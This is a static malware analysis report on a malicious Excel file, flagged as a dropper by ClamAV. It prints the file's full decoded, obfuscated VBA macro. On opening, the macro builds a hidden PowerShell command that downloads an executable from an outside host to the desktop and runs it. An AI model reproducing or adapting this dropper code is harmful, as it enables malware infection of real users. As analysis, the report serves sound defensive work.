Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3cee38f945c9eefc…

MALICIOUS

Office (OLE)

57.0 KB Created: 2017-10-19 07:59:05 Authoring application: Microsoft Excel First seen: 2019-01-12
MD5: d88257d6babb66c9e94dc7f13622d1be SHA-1: 1007fdaa229ad6aa425f67f39dbc9dfc0aae9f33 SHA-256: 3cee38f945c9eefc3b88c917d37d56c4cebe2253bd76a0aa10b620bda4eb26ba
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Excel file containing a Workbook_Open VBA macro. This macro is designed to execute a second-stage payload. It constructs a PowerShell command to download a file from 'http://diverdonis.com/xambu"' and save it as '7d0mk6.exe' on the user's desktop, then executes it. The ClamAV detection also confirms its malicious nature as a dropper.

Heuristics 4

  • ClamAV: Xls.Dropper.Generic-6595971-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Generic-6595971-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2792 bytes
SHA-256: 6d5770ad1818318c805d8e6c5ec291b13f28f2c50eff95dd5db84e8181c04a66
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function xedefedc()
xedefedc = "Ers" + "He"
End Function
Function jikijiki()
If Day(Now) > 0 Then
jikijiki = "$7" + "d0" + "mk6"
End If
End Function
Function qasaqasq()
qasaqasq = "do{&(\""{1}{" + "0}\"" -f'ep','sle') 33;" + "${D`es} =  " + jikijiki + "::gET" + "foLDeRpaTh(\""Desktop\"");(&(\""{0}{1}{2}\"" -f'Ne','w-','O" + "bject') "
End Function
Sub Workbook_Open()
If xlCenterAcrossSelection > 1 Then
Dim wederomm As String
Randomize
wederomm = Int(Rnd * 7890090#)
mangofruts = "while(!${?});&(\""{0}{2}{3}{1}\""-f 'St','ocess','art','-Pr') $Des\" + wederomm + ".exe"""
malkovichoffice = "office manager"
transgents = derfede + "tp://diverd" + "onis.c" + "om/xambu\"",\""$Des\" + wederomm + ".exe\"")}"
siberdowntrust = bertiiim + qasaqasq + transgents + mangofruts
Shell saderommm + siberdowntrust, xlFirst
End If
End Sub
Function derfede()
sazarlandes = "(\""{0}{2"
derfede = sazarlandes + "}{1}{3}{" + "5}{6}" + "{4}\""-f'Sy','" + "te','s','m" + ".Ne','ent'" + ",'t.We" + "b','Cli')).dowN" + "LoaDFil" + "E.iNVoKE(\""ht"
End Function
Function bertiiim()
bertiiim = "$7d0mK6 = [TyPE](\""{1}{0}{3}{2}\"" -f 'on','ENVIr','Nt','mE') ;  "
End Function
Function ssweddfg()
ssweddfg = "op" + "RoF" + "i -W"
End Function
Function saderommm()
If xlDesktop > 0.9 Then
fagaas = "cm"
megademotester = Array(Hour(Now), Now(), "NoN" + "InT", Minute(Now), Now(), Minute(Now))
redhotchilly = Array(Now(), "ass  " + "  """, Minute(Now), Minute(Now), "d   " + "/c""", Now())
luchanoisd = " -N"
belgradus = Array(Hour(Now), Minute(Now), Minute(Now), Now(), Second(Now), Now(), "deN" + luchanoisd, Second(Now), Minute(Now), Hour(Now))
saderommm = fagaas + redhotchilly(4) + "pOW" + xedefedc + "Ll -n" + ssweddfg + "In  hiD" + belgradus(6) + "OLo -" + megademotester(2) + "eRA  -eX" + "eCU" + "TI" + "oNp bYp" + redhotchilly(1)
End If
End Function





Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True